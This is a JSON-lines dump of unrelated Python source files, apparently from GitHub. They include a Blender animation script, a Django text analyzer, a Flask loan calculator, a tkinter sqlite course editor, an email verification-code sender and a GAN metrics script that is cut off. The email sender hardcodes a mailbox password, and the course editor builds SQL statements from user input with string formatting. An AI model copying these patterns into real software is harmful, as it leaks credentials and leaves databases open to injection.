resolution affects\n the time in which the program will create the video in .avi\n The value is 1 is faster but the resolution is not good\n where as 4 is good enough with a relative good\n speed of video creation.\n path directory:\n path where the video will be stored\n \n Returns: \n nothing is returned\n \n Raises:\n exceptions raised by the initial state\n ''' \n\n # List of Blender members objects \n lMembers = []\n # List to determine the duration of the video\n listOfFrames = [] \n # List to determine the coordinates X1 \n listOfX1= [] \n # List to determine the coordinates X2 \n listOfX2= [] \n # List to determine the number of paths \n listOfLevels = [] \n\t\t# List to determine the number of steps for deformation of each element\n steps = []\n # Prepare blender for a new video \n initialization.initialize() \n \n for i in range(len(i_s)):\n # Create members in Blender according to the parameters\n lMembers.append(e.generalMember(i_s[i].name,\n i_s[i].x1,\n i_s[i].x2,\n i_s[i].defo_length, \n i_s[i].lp_level1, \n i_s[i].lp_level2, \n v_o))\n #i_s[i].mass_position = 0))\n # Store coordinates and levels for setting the animation\n listOfX1.append(i_s[i].x1)\n listOfX2.append(i_s[i].x2)\n listOfLevels.append(i_s[i].lp_level2)\n \n # Width of the structure\n widthOfTheStructure = max(listOfX2) - min(listOfX1)\n # Height of the structure\n heightOfTheStructure = max(listOfLevels) * v_o \n # Distance to the wall\n distanceToTheWall = v_o + widthOfTheStructure \n\t\t# Duration of pause in each steps\n pause = 0\n # Duration of the translation from origin to the wall\n transition = v_o + pause\n\n for i in d_h.keys():\n #Loop over the deformation history\n #Count the deformation steps of an element and store it\n #Note: There are elements which has 0 deformation steps\n try:\n deformationSteps = 0\n for j in range(len(d_h[i])):\n if d_h[i][j].transformation == 'd':\n deformationSteps = deformationSteps + 1\n steps.append(deformationSteps)\n except Exception:\n steps.append(0)\n \n for i in range(len(i_s)):\n #Loop over the initial state elements\n #Assign the actions to each element according to the step\n\n #Move each element of the structure to the wall\n #*initial frame\n #* final frame\n #* amount\n \n lMembers[i].move(pause, \n (transition - pause) * fps, \n distanceToTheWall - widthOfTheStructure )\n # Delta Y : Distance between loadpaths\n dY = v_o * (i_s[i].lp_level2 - i_s[i].lp_level1)\n # Delta X : Difference between the vertex of an element\n dX = i_s[i].x2 - i_s[i].x1\n # Initialize variables\n newDefoLength = i_s[i].defo_length\n oldDefoLength = i_s[i].defo_length\n newAngle = m.atan(dY / dX)\n oldAngle = m.atan(dY / dX)\n stepNumber = 0 \n try: \n for j in range(len(d_h[i_s[i]])):\n # Assign to a variable an object from the d_h\n s = d_h[i_s[i]][j]\n lMembers[i].move((s.frame_begin + transition)* fps, \n (s.frame_end + transition)* fps, \n 0)\n if s.transformation == 'd':\n \n #Deformation of the element\n #To deform a member it is neccesary to know\n #the frame in which the action takes place\n #the frame in which the action finish\n #the frames per second and the amount in\n #which it deforms\n #Note : It is necessary to know the state of \n #the angle and the length in each step\n dX = dX - s.amount\n if dX == 0:\n newAngle = 0\n else:\n newAngle = m.atan(dY / dX)\n \n # Amount: Percentage of the original object to deform\n newAmount = s.amount / newDefoLength \n newDefoLength = newDefoLength - s.amount\n stepNumber = stepNumber + 1\n \n lMembers[i].deform((s.frame_begin + transition) * fps, \n (s.frame_end + transition) * fps,\n s.amount,\n newAmount,\n newAngle,\n oldAngle,\n newDefoLength,\n oldDefoLength,\n\t\t\t\t\t\t\t\t\t\t stepNumber,\n\t\t\t\t\t\t\t\t\t steps[i])\n\n oldDefoLength = newDefoLength \n oldAngle = newAngle \n else:\n \n #Movement of the element\n #To move a member it is neccesary to know\n #the frame in which the action takes place\n #the frame in which the action finish\n #the frames per second and the amount in\n #which it moves\n lMembers[i].move((s.frame_begin + transition) * fps, \n (s.frame_end + transition) * fps,\n s.amount)\n \n listOfFrames.append(s.frame_end * fps)\n except Exception:\n print(\" \")\n\n # Number of frames \n # Maximum number of frames + the time from the origin to the wall \n if len(listOfFrames) == 0:\n numberOfFrames = transition * fps\n else:\n numberOfFrames = max(listOfFrames) + transition * fps\n \n # Location of the wall\n lwx = min(listOfX1) - distanceToTheWall\n lwy = -heightOfTheStructure / 2\n lwz = 10\n locationOfWall = (lwx, lwy, lwz)\n \n # Location of the background\n lbx = widthOfTheStructure / 2\n lby = -heightOfTheStructure / 2\n lbz = -100\n locationOfBackground = (lbx, lby, lbz)\n \n # Location of the camera\n lcx = min(listOfX1) + 3 * widthOfTheStructure / 8\n lcy = -heightOfTheStructure / 2\n lcz = 100\n locationOfCamera = (lcx, lcy, lcz)\n \n # Set Render function\n setRender.Parameters(numberOfFrames, \n resolution,\n locationOfWall,\n locationOfBackground,\n locationOfCamera, \n widthOfTheStructure, \n heightOfTheStructure,\n pathDirectory)","repo_name":"JDanielPR/Project_SofwareLab","sub_path":"Sw_lab_tool/Visualization/CreateVideo.py","file_name":"CreateVideo.py","file_ext":"py","file_size_in_byte":9128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42181781329","text":"from functions import get_file_contents\nimport requests\nimport json\n\naccess_key = get_file_contents('ip_api_key.txt')\nurl = 'http://api.ipapi.com/api/161.185.160.93' + '?access_key=' + access_key\npayload = {}\nheaders = {\n 'Cookie': '__cfduid=dbfeb8f7b0a9217826dae3c633396a53c1592773873'\n}\nresponse = requests.get(url, headers=headers, data = payload)\nlocation = response.json()\n\ndef get_lat_long():\n return location['latitude'], location['longitude']\n\n#print(response.text.encode('utf8'))","repo_name":"JTao02/defhacks2020","sub_path":"Location.py","file_name":"Location.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10791286389","text":"import locale\nimport logging\nimport sys\n\nimport osbs\n\nimport atomic_reactor\nfrom atomic_reactor.cli import parser\nfrom atomic_reactor.util import setup_introspection_signal_handler\n\n\ndef _process_global_args(args: dict) -> dict:\n \"\"\"Process global arguments, return non-global arguments (task arguments).\"\"\"\n task_args = args.copy()\n\n verbose = task_args.pop(\"verbose\")\n quiet = task_args.pop(\"quiet\")\n # Note: the version argument is not stored by argparse (because it has the 'version' action)\n\n if verbose:\n atomic_reactor.set_logging(level=logging.DEBUG)\n osbs.set_logging(level=logging.DEBUG)\n elif quiet:\n atomic_reactor.set_logging(level=logging.WARNING)\n osbs.set_logging(level=logging.WARNING)\n else:\n atomic_reactor.set_logging(level=logging.INFO)\n osbs.set_logging(level=logging.INFO)\n\n return task_args\n\n\ndef run():\n \"\"\"Run atomic-reactor.\"\"\"\n locale.setlocale(locale.LC_ALL, '')\n logging.captureWarnings(True)\n setup_introspection_signal_handler()\n\n args = parser.parse_args()\n task = args.pop(\"func\")\n task_args = _process_global_args(args)\n\n return task(task_args)\n\n\nif __name__ == '__main__':\n sys.exit(run())\n","repo_name":"containerbuildsystem/atomic-reactor","sub_path":"atomic_reactor/cli/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"67"} +{"seq_id":"25034282318","text":"import sys\nimport numpy as np\nfrom astropy.io import fits\n\nfrom photutils import isophote\n\n# load fits\n# load config\n# get isolist\n# convert pixels to degrees (or arcmin)\n# return intensity vs degrees\n\ndef load_config(filename):\n rawdict={'x':0, 'y':0, 'PA':0, 'sm0':0, 'sm1':2000, 'sma':400, 'geosma':500, 'e':0}\n with open(filename, 'r') as fp:\n for line in fp.readlines():\n _line=line.split()\n rawdict[_line[0]] = float(_line[1])\n return(rawdict)\n\n\ndef getIsoList(data, config):\n geometry=isophote.EllipseGeometry(config['x'], config['y'], \n config['geosma'], config['e'], \n np.radians(config['PA']))\n print(geometry.__dict__)\n ellipse=isophote.Ellipse(data, geometry, threshold=0.01)\n return(ellipse.fit_image(config['sma'], config['sm0'], config['sm1']))\n\nif(__name__==\"__main__\"):\n config=load_config(\"/home/s1539878/data/mphys/ellipse/conf\")\n data=fits.open(\"/home/s1539878/data/mphys/ellipse/m33_i_mosaic.fits\")[0].data\n print(getIsoList(data,config).sma)\n\n\n","repo_name":"conornally/Messier33","sub_path":"src/ellipse-fitting.py","file_name":"ellipse-fitting.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30073149971","text":"from setuptools import setup, find_packages\n\n\nwith open('README.rst') as f:\n readme = f.read()\n\nsetup(\n name='docomocvpy',\n version='0.0.1',\n description=\"docomo computer vision API Python wrapper library\",\n long_description=readme,\n author='Shunsuke Ohtani',\n author_email='shun.otani@gmail.com',\n url='https://github.com/zaneli/docomocvpy',\n install_requires=[\n 'requests'\n ],\n package_dir={'': 'src'},\n packages=find_packages('src'),\n include_package_data=True,\n test_suite='tests',\n)\n","repo_name":"zaneli/docomocvpy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"71243829654","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\n\ndef index(request):\n return render(request,'index.html')\n\ndef analyze(request):\n\n #CheckBox Values.\n\n djtext = request.POST.get('text','default')\n removepunc = request.POST.get('removepunc', 'off')\n capitialize = request.POST.get('capitialize', 'off')\n lowercase = request.POST.get('lowercase', 'off')\n newlineremover =request.POST.get('newlineremover', 'off')\n charcount = request.POST.get('charcount','off')\n\n # Check with Checkbox values is on or not.\n\n if removepunc == \"on\":\n punctuations = '''<>.,:;?()![]/-''\"\"...@$#%^&*'''\n analyzed =\"\"\n for char in djtext :\n if char not in punctuations:\n analyzed = analyzed + char\n params = {'purpose':'Removed Punctuations','analyzed_text':analyzed}\n djtext = analyzed\n\n\n if capitialize == \"on\":\n analyzed = \"\"\n for char in djtext:\n analyzed = analyzed + char.upper()\n params = {'purpose': 'UpperCase', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if lowercase ==\"on\":\n analyzed = \"\"\n for char in djtext:\n analyzed = analyzed + char.lower()\n params = {'purpose': 'LowerCase', 'analyzed_text': analyzed}\n djtext = analyzed\n\n if newlineremover == \"on\":\n analyzed = \"\"\n for char in djtext:\n if char !='\\n'and char !='\\r':\n analyzed = analyzed + char\n params = {'purpose': 'Remove NewLine', 'analyzed_text': analyzed}\n djtext = analyzed\n\n\n if charcount==\"on\":\n analyzed=\"\"\n params = {'purpose': 'CharacterCount', 'analyzed_text': len(djtext)}\n\n if(removepunc!='on' and newlineremover!='on'and charcount!='on' and lowercase!='on' and capitialize!='on'):\n return HttpResponse('Error')\n\n return render(request, 'analyze.html', params)\n","repo_name":"anup-ingale/text-functions","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"39171787074","text":"import smtplib\nimport re\nfrom os import environ\nfrom os.path import exists\nfrom platform import system, node\nfrom time import strftime\nfrom email.mime.text import MIMEText\nfrom email.utils import formataddr\nfrom random import randint\nfrom easygui import msgbox, enterbox\nfrom threading import Timer\n\nprint('库加载完成')\n\ntitle = '验证码'\nmy_sender = '1848481499@qq.com' # 发件者邮箱(请自行更改)\nmy_pass = 'mdzvtyqcosopbijd' # 授权码(请自行更改)\ndt = strftime('%Y-%m-%d %H:%M:%S')\nprint('已经获取时间')\nmy_user = '2582435774@qq.com'\n# username = environ['USERNAME']\nsystem = system()\ncomputer = node()\n# number = randint(100000, 999999) # 验证码\nerr = Exception\nprint('设备信息获取完成\\n变量定义完成')\n\nver_code = 0\n\n\ndef claerVercode():\n global ver_code\n ver_code = 0\n\n\ndef creatVercode():\n global ver_code\n ver_code = randint(100000, 999999)\n cle = Timer(180, claerVercode)\n cle.start()\n print(ver_code)\n\n\ndef get_ver():\n global ver_code\n return ver_code\n\n\ndef mail(address_mail):\n global err\n global ver_code\n ret = True\n print('嵌套入检查语句')\n try:\n msg = MIMEText(str(ver_code), 'plain', 'utf-8')\n msg['From'] = formataddr([\"文件共享系统\", my_sender])\n msg['To'] = formataddr([\"FK\", address_mail])\n msg['Subject'] = \"文件共享系统的验证码\"\n print('已经设置好邮件信息')\n\n server = smtplib.SMTP_SSL(\"smtp.qq.com\", 465)\n server.login(my_sender, my_pass)\n server.sendmail(my_sender, [address_mail, ], msg.as_string())\n server.quit()\n print('邮件发送已完成')\n except Exception as e:\n ret = False\n err = str(e)\n print('进入错误语句\\n错误是%s' % err)\n print('返回信息')\n return ret\n\n\ndef checkmail(ver):\n if ver == ver_code:\n return True\n return False\n\n\nif __name__ == '__main__':\n print('进入主程序')\n creatVercode()\n mail('2582435774@qq.com')\n print('yes')\n","repo_name":"nytpdy/fileShare_flask","sub_path":"emailDo.py","file_name":"emailDo.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69889147735","text":"from tkinter import *\r\nimport sqlite3\r\nfrom tkinter import messagebox\r\n\r\ndef editcourse():\r\n root = Tk()\r\n root.title(\"Edit Course Offering\")\r\n root.geometry(\"440x650\")\r\n root.configure(background=\"Honeydew\")\r\n \r\n\r\n def courseOffering ():\r\n global courseList\r\n courseList=[]\r\n global courseList2\r\n courseList2= []\r\n db = sqlite3.connect(\"studentdetail.sqlite\")\r\n db.execute(\"CREATE TABLE IF NOT EXISTS courseOffering(_id INTEGER PRIMARY KEY AUTOINCREMENT,coursename TEXT,student_id INTEGER DEFAULT 0,date TEXT DEFAULT CURRENT_TIMESTAMP,credittransferable INTEGER DEFAULT 0)\")\r\n cursor = db.cursor()\r\n cursor.execute(\"SELECT * FROM courseOffering\")\r\n index=0\r\n for _id,coursename,student,date,credittransferable, in cursor:\r\n if coursename in courseList:\r\n pass\r\n else:\r\n courseList.append(str(coursename))\r\n index +=1\r\n cursor.execute(\"SELECT coursename FROM shortcourse\")\r\n for cn, in cursor:\r\n if cn in courseList:\r\n pass\r\n else:\r\n courseList2.append(str(cn))\r\n cursor.close()\r\n \r\n def popUpEdit():\r\n response = messagebox.askyesno(\"Confirmation\",\"Confirm to update?\")\r\n if response == 1:\r\n update()\r\n credit.delete(\"0\",END)\r\n cname.delete(\"0\",END)\r\n date.delete(\"0\",END)\r\n elif response == 0:\r\n cname.delete(\"0\",END)\r\n date.delete(\"0\",END)\r\n credit.delete(\"0\",END)\r\n\r\n def popUpDelete():\r\n response = messagebox.askyesno(\"Confirmation\",\"Confirm to delete?\")\r\n if response == 1:\r\n delete()\r\n zname.delete(\"0\",END)\r\n elif response == 0:\r\n zname.delete(\"0\",END)\r\n\r\n def popUpAdd():\r\n response = messagebox.askyesno(\"Confirmation\",\"Confirm to add?\")\r\n if response == 1:\r\n add()\r\n cname.delete(\"0\",END)\r\n date.delete(\"0\",END)\r\n credit.delete(\"0\",END)\r\n elif response == 0:\r\n cname.delete(\"0\",END)\r\n date.delete(\"0\",END)\r\n credit.delete(\"0\",END)\r\n\r\n def update():\r\n courseOffering ()\r\n courseName = cname.get()\r\n def addDate(courseName):\r\n db = sqlite3.connect(\"studentdetail.sqlite\")\r\n cursor = db.cursor()\r\n user_input = date.get()\r\n if user_input != \"\" and courseName != \"\" and courseName in courseList:\r\n cursor.execute(\"UPDATE courseOffering SET date = '{}' WHERE coursename like '{}'\".format(user_input,courseName))\r\n cursor.connection.commit()\r\n response = messagebox.showinfo(\"Success\",\"Please refresh the course offering page to see the updates.\")\r\n else:\r\n response = messagebox.showerror(\"Error\",\"Course not exist or Course's date is empty!Course's date is not updated.\")\r\n \r\n\r\n def addCreditTransferable(courseName):\r\n courseOffering ()\r\n db = sqlite3.connect(\"studentdetail.sqlite\")\r\n cursor = db.cursor()\r\n user_input = credit.get()\r\n if user_input != \"\" and courseName != \"\" and courseName in courseList:\r\n if user_input.isdigit()==True:\r\n cursor.execute(\"UPDATE courseOffering SET credittransferable = '{}' WHERE coursename like '{}'\".format(user_input,courseName))\r\n else:\r\n response = messagebox.showerror(\"Error\",\"Input must be digit! Credits Transferable is not updated.\")\r\n else:\r\n response = messagebox.showerror(\"Error\",\"Course not exist or Credits transferable is empty!Credits transferable is not updated.\")\r\n cursor.connection.commit()\r\n \r\n addDate(courseName)\r\n addCreditTransferable(courseName)\r\n\r\n def add():\r\n courseOffering ()\r\n db = sqlite3.connect(\"studentdetail.sqlite\")\r\n cursor = db.cursor()\r\n courseName = cname.get()\r\n creditTransferable = credit.get()\r\n dates = date.get()\r\n if courseName not in courseList and courseName != \"\" and courseName in courseList2:\r\n x = (\"INSERT INTO courseOffering (coursename, date,credittransferable) VALUES (?,?,?)\")\r\n db.execute(x,(courseName,dates,creditTransferable))\r\n cursor.connection.commit()\r\n courseList.append(courseName)\r\n response = messagebox.showinfo(\"Success\",\"Please refresh the course offering page to see the updates.\")\r\n\r\n else:\r\n response = messagebox.showerror(\"Error\",\"Course is exist or course's name is empty! Course is not added.\")\r\n \r\n\r\n def delete():\r\n db = sqlite3.connect(\"studentdetail.sqlite\")\r\n cursor = db.cursor()\r\n courseName = zname.get()\r\n if courseName in courseList and courseName != \"\":\r\n delete_stu = \"DELETE FROM enrolcourse WHERE coursename =?\"\r\n cursor.execute(delete_stu,(courseName,))\r\n delets = \"DELETE FROM courseOffering WHERE coursename =?\"\r\n cursor.execute(delets,(courseName,))\r\n cursor.connection.commit()\r\n cursor.close()\r\n response = messagebox.showinfo(\"Success\",\"Please refresh the course offering page to see the updates.\")\r\n else:\r\n response = messagebox.showerror(\"Error\",\"Course is not exist\")\r\n \r\n\r\n title_label = Label(root, relief = \"sunken\", text = \"-\"*16 + \"EDIT COURSE OFFERING \" + \"-\"*17,font=(\"Times\",15),bg=\"darkseagreen\",fg=\"white\")\r\n title_label.grid(columnspan=2,pady=15)\r\n coursename_label = Label(root,justify=\"center\" , text = \"Short Course :\",bg=\"darkseagreen\",fg=\"white\",font=(\"Times\",11))\r\n coursename_label.grid(row=1, column=0,columnspan=2, pady=15)\r\n cname = Entry(root,justify=\"center\", width =40, background = \"Lavender\")\r\n cname.grid(row=2, column=0,columnspan=2, pady=15)\r\n date_label = Label(root , text = \"Course's Date :\",bg=\"darkseagreen\",fg=\"white\",font=(\"Times\",11),justify=\"left\")\r\n date_label.grid(row=3, column=0,columnspan=2, pady=(20,5),padx=15)\r\n date = Entry(root,justify=\"center\", width =40, background = \"Lavender\")\r\n date.grid(row=4, column=0,columnspan=2, pady=15)\r\n credit_label = Label(root ,justify=\"center\", text = \"Credits Transferable :\",bg=\"darkseagreen\",fg=\"white\",font=(\"Times\",11))\r\n credit_label.grid(row=5, column=0,columnspan=2, pady=15)\r\n credit = Entry(root, width =40, background = \"Lavender\",justify=\"center\")\r\n credit.grid(row=6, column=0,columnspan=2, pady=15)\r\n titles_label = Label(root, relief = \"sunken\", text = \"-\"*15 + \"DELETE COURSE OFFERING\" + \"-\"*14,font=(\"Times\",15),bg=\"darkseagreen\",fg=\"white\")\r\n titles_label.grid(row=8,columnspan=2,pady=15)\r\n\r\n edit_btn = Button(root, bg=\"Darkseagreen\",fg=\"white\", text=\"Add Course\",command=popUpAdd)\r\n edit_btn.grid(row=7, column=0, pady=20, sticky=W, padx=90)\r\n edit_btn = Button(root, bg=\"Darkseagreen\",fg=\"white\", text=\"Edit Course\",justify=\"left\",command=popUpEdit)\r\n edit_btn.grid(row=7, column=1, pady=20, sticky=W,padx=(0,100))\r\n edit_btn = Button(root, bg=\"Darkseagreen\",fg=\"white\", text=\"Delete Course\",justify=\"center\",command=popUpDelete)\r\n edit_btn.grid(row=11, columnspan=2, pady=20, padx=(0,195),sticky=\"E\")\r\n\r\n coursenames_label = Label(root,justify=\"center\" , text = \"Short Course :\",bg=\"darkseagreen\",fg=\"white\",font=(\"Times\",11))\r\n coursenames_label.grid(row=9, column=0,columnspan=2, pady=15)\r\n zname = Entry(root,justify=\"center\", width =40, background = \"Lavender\")\r\n zname.grid(row=10, column=0,columnspan=2, pady=15)\r\n \r\n \r\n courseOffering ()\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n","repo_name":"sinhantwenty8/School-Management","sub_path":"editcourseoffer.py","file_name":"editcourseoffer.py","file_ext":"py","file_size_in_byte":7937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35660062009","text":"from flask import Flask\nfrom flask import request, redirect, render_template, url_for, send_from_directory\n\napp = Flask(__name__)\nparams = {'sum': 100000, 'proc': 20, 'term': 30, 'an': True, 'dif': False}\n\n@app.route('/', methods=['post', 'get'])\ndef index():\n global params\n params_post = {}\n idx = 1\n type = \"an\" if params['an'] else \"dif\"\n for p in request.form:\n params_post[p] = request.form[p]\n if idx == 1:\n params['sum'] = int(params_post[p])\n if idx == 2:\n params['proc'] = int(params_post[p])\n if idx == 3:\n params['term'] = int(params_post[p])\n if idx == 4:\n type = params_post[p]\n idx += 1\n\n if type == \"an\":\n params['an'] = True\n params['dif'] = False\n return render_template('index.html', params_post=an(params['sum'], params['proc'], params['term']), params=params)\n else:\n params['an'] = False\n params['dif'] = True\n return render_template('index.html', params_post=dif(params['sum'], params['proc'], params['term']), params=params)\n\n\ndef an(s, p, t):\n s1 = s\n ss = 0\n m = p/1200\n k = round((m*(1+m)**t)/((1+m)**t-1), 3)\n result = {'№месяца': [], 'Платеж': [], 'Остаток кредита': [], 'Переплата': 0}\n for i in range(t):\n result['№месяца'].append(i+1)\n if i > 0 and round(k*s, 1) > result['Остаток кредита'][i-1]:\n result['Платеж'].append(result['Остаток кредита'][i-1])\n ss+=result['Остаток кредита'][i-1]\n else:\n result['Платеж'].append(round(k * s, 1))\n ss+=round(k * s, 1)\n s1 = s1*(1+m) - k*s\n if s1 < 0:\n result['Остаток кредита'].append(0)\n else:\n result['Остаток кредита'].append(round(s1, 1))\n\n result['Переплата'] = round(ss-s, 3)\n return result\n\ndef dif(s, p, t):\n s1 = s\n ss = 0\n m = p/1200\n d = s/t\n result = {'№месяца': [], 'Платеж': [], 'Остаток кредита': [], 'Переплата': 0}\n for i in range(t):\n result['№месяца'].append(i + 1)\n if i > 0 and round(d + s1*m, 1) > result['Остаток кредита'][i-1]:\n result['Платеж'].append(result['Остаток кредита'][i-1])\n ss+=result['Остаток кредита'][i-1]\n else:\n result['Платеж'].append(round(d + s1*m, 1))\n ss+=round(d + s1*m, 1)\n s1 -= d\n if s1 < 0:\n result['Остаток кредита'].append(0)\n else:\n result['Остаток кредита'].append(round(s1, 1))\n\n result['Переплата'] = round(ss-s, 3)\n return result\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"288801/CreditCalculator","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44670561399","text":"# calculate both prdc and nearest neighbours in one go\r\n# prdc code from:\r\n# nearest neighbours code from:\r\nimport os\r\nfrom shutil import rmtree\r\nfrom pathlib import Path\r\nfrom random import random\r\n\r\nimport torch\r\nfrom torch.utils.data.dataloader import DataLoader\r\nimport torchvision.utils as vutils\r\nfrom torchvision import transforms\r\n\r\nimport argparse\r\nfrom tqdm import tqdm\r\n\r\nimport numpy as np\r\nfrom glob import glob\r\n\r\nfrom operation import load_params, H5Dataset, get_config\r\nfrom numpy_transforms import NumpyToTensor\r\nfrom models import Generator\r\n\r\nfrom metrics.prdc import compute_prdc\r\nfrom metrics.prdc_utils import save_prdc_score\r\n\r\nfrom metrics.loo_nn import compute_1nn\r\nfrom metrics.metric_utils import get_features_generator, get_features_dataset, save_prdc_nn_score\r\n\r\nimport json\r\n\r\ntorch.backends.cudnn.benchmark = True\r\n@torch.no_grad()\r\ndef reprocess_prdc(args):\r\n \"\"\"\r\n Wrapper to post-process/reprocess precision/recall.density/coverage metrics across an experiment for checkpoints.\r\n Also LOO 1-NN accuracies\r\n \"\"\"\r\n\r\n base_dir = args.path\r\n data_path = args.data_path\r\n exp_name = args.name\r\n start_iter = args.start_iter\r\n end_iter = args.end_iter\r\n batch_size = args.batch_size\r\n batch_gen = args.batch_gen\r\n n_fakes = args.n_fakes\r\n trunc = args.trunc\r\n n_k = args.n_k\r\n clear_metrics = args.clear_metrics\r\n im_size = args.im_size\r\n ema = args.ema\r\n use_temp = args.use_temp_folder\r\n embedding_type = args.embedding_type\r\n device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\r\n dataloader_workers = 2\r\n\r\n # noise_dim = 256\r\n if use_temp:\r\n save_dir = './temp/evaluation/metrics'\r\n clear_metrics = 1\r\n else:\r\n save_dir = os.path.join(base_dir, exp_name, 'evaluation','metrics')\r\n\r\n if clear_metrics == 1 and os.path.exists(save_dir):\r\n rmtree(save_dir, ignore_errors=True)\r\n\r\n if not os.path.exists(save_dir):\r\n os.makedirs(save_dir)\r\n\r\n # list of valid checkpoints\r\n ckpts = glob(os.path.join(base_dir, exp_name, 'models', 'all_*.pth'))\r\n ckpts = sorted(list(map(os.path.basename, ckpts)), key=lambda x: int(x.partition('_')[-1].partition('.')[0]))\r\n ckpts = [x for x in ckpts if (int(x.partition('_')[-1].partition('.')[0]) <= end_iter) and (int(x.partition('_')[-1].partition('.')[0]) >= start_iter)]\r\n\r\n # create generator using the arguments used to run experiments\r\n with open(os.path.join(base_dir, exp_name, 'args.txt'), mode='r') as f:\r\n args_train = json.load(f)\r\n model_config = args_train['model_config']\r\n model_config = get_config('model_configs.csv', model_config, type='model')\r\n # model_config = get_config('model_configs_trial.csv', model_config, type='model')\r\n noise_dim = model_config['nz']\r\n print(model_config)\r\n\r\n netG = Generator(\r\n nz = model_config['nz'],\r\n activation = model_config['g_activation'],\r\n chan_attn = model_config['g_chan_attn'],\r\n sle_map = model_config['g_skip_map'],\r\n skip_conn = model_config['g_skip_conn'],\r\n spatial_attn = model_config['g_spatial_attn'],\r\n attn_layers = model_config['g_attn_layers'],\r\n conv_layers = model_config['g_conv_layers'],\r\n alternate_layers = model_config['g_alternate_layers'],\r\n anti_alias = model_config['g_anti_alias'],\r\n noise_inj = model_config['g_noise_inj'],\r\n multi_res_out = model_config['g_multi_res_out'],\r\n small_im_size = model_config['g_small_im_size'],\r\n use_tanh = model_config['use_tanh']\r\n )\r\n\r\n print('all ok!')\r\n\r\n if os.path.splitext(data_path)[1] == '.npy':\r\n # real features can be loaded in without needing to process\r\n process_real = False\r\n real_features = np.load(data_path)\r\n elif os.path.splitext(data_path)[1] == '.h5':\r\n process_real = True\r\n # create the DataLoader\r\n if embedding_type == 'T4096':\r\n trans = transforms.Compose([NumpyToTensor()])\r\n pre_train = True\r\n load_ckpt = False\r\n fc_dim = 4096\r\n\r\n elif embedding_type == 'R4096':\r\n # no need to normalize with imagenet statistics as we are just using random embeddings\r\n trans = transforms.Compose([NumpyToTensor()])\r\n pre_train = False\r\n load_ckpt = True\r\n fc_dim = 4096\r\n\r\n elif embedding_type == 'R64':\r\n # no need to normalize with imagenet statistics as we are just using random embeddings\r\n trans = transforms.Compose([NumpyToTensor()])\r\n pre_train = False\r\n load_ckpt = True\r\n fc_dim = 64\r\n\r\n prdc_dataset = H5Dataset(file_path=data_path, transform=trans)\r\n if n_fakes == 0:\r\n n_fakes = len(prdc_dataset)\r\n print(n_fakes)\r\n\r\n prdc_dataloader = DataLoader(prdc_dataset, batch_size=batch_size,\r\n shuffle=False, num_workers=dataloader_workers)\r\n\r\n # process real features - only need to do once\r\n real_features = get_features_dataset(prdc_dataloader, pre_train=pre_train, load_ckpt=load_ckpt,\r\n fc_dim=fc_dim, device=device)\r\n\r\n scores = np.zeros((len(ckpts),10))\r\n\r\n for i,ckpt in tqdm(enumerate(ckpts), total=len(ckpts), desc='Processing checkpoints'):\r\n\r\n iteration = int(ckpt.partition('_')[-1].partition('.')[0])\r\n scores[i,0] = iteration\r\n ckpt_path = os.path.join(base_dir,exp_name,'models',ckpt)\r\n checkpoint = torch.load(ckpt_path)\r\n\r\n if ema:\r\n load_params(netG, checkpoint['g_ema'])\r\n else:\r\n netG.load_state_dict(checkpoint['g'])\r\n\r\n # process generator features\r\n gen_features = get_features_generator(netG, pre_train=pre_train, load_ckpt=load_ckpt, num_samples=n_fakes,\r\n z_dim=noise_dim, fc_dim=fc_dim, batch_size=batch_size, batch_gen=batch_gen,\r\n trunc = trunc, device=device)\r\n\r\n prdc = compute_prdc(real_features, gen_features, nearest_k = n_k)\r\n scores[i,1] = prdc['precision']\r\n scores[i,2] = prdc['recall']\r\n scores[i,3] = prdc['density']\r\n scores[i,4] = prdc['coverage']\r\n results_nn = compute_1nn(torch.from_numpy(real_features), torch.from_numpy(gen_features))\r\n scores[i,5:] = results_nn.acc, results_nn.acc_real, results_nn.acc_fake, results_nn.precision, results_nn.recall\r\n\r\n # save scores\r\n save_prdc_nn_score(scores, save_dir, embedding_type, n_fakes)\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description='gan_prdc_nn')\r\n\r\n parser.add_argument('--path', type=str, default='./train_results', help='Base directory where experiments are stored')\r\n parser.add_argument('--data_path', type=str, default= './train_data/cored_train.h5')\r\n parser.add_argument('--cuda', type=int, default=0, help='index of gpu to use')\r\n parser.add_argument('--name', type=str, default='test1', help='experiment name')\r\n parser.add_argument('--im_size', type=int, default=256, help='size of image')\r\n parser.add_argument('--start_iter', type=int, default=5000, help='the iteration to start PRDC/NN calculation')\r\n parser.add_argument('--end_iter', type=int, default=50000, help='the iteration to stop PRDC/NN calculation')\r\n parser.add_argument('--n_fakes', type=int, default=0, help='number of fake images to use for PRDC/NN calculation. If 0, will match total number of reals.')\r\n parser.add_argument('--batch_gen', type=int, default=8, help='how many images to generate at a time')\r\n parser.add_argument('--batch_size', type=int, default=32, help='batch size passed through feature extractor')\r\n parser.add_argument('--ema', type=int, default=1, help='boolean flag where 1= generate images using EMA and 0 is 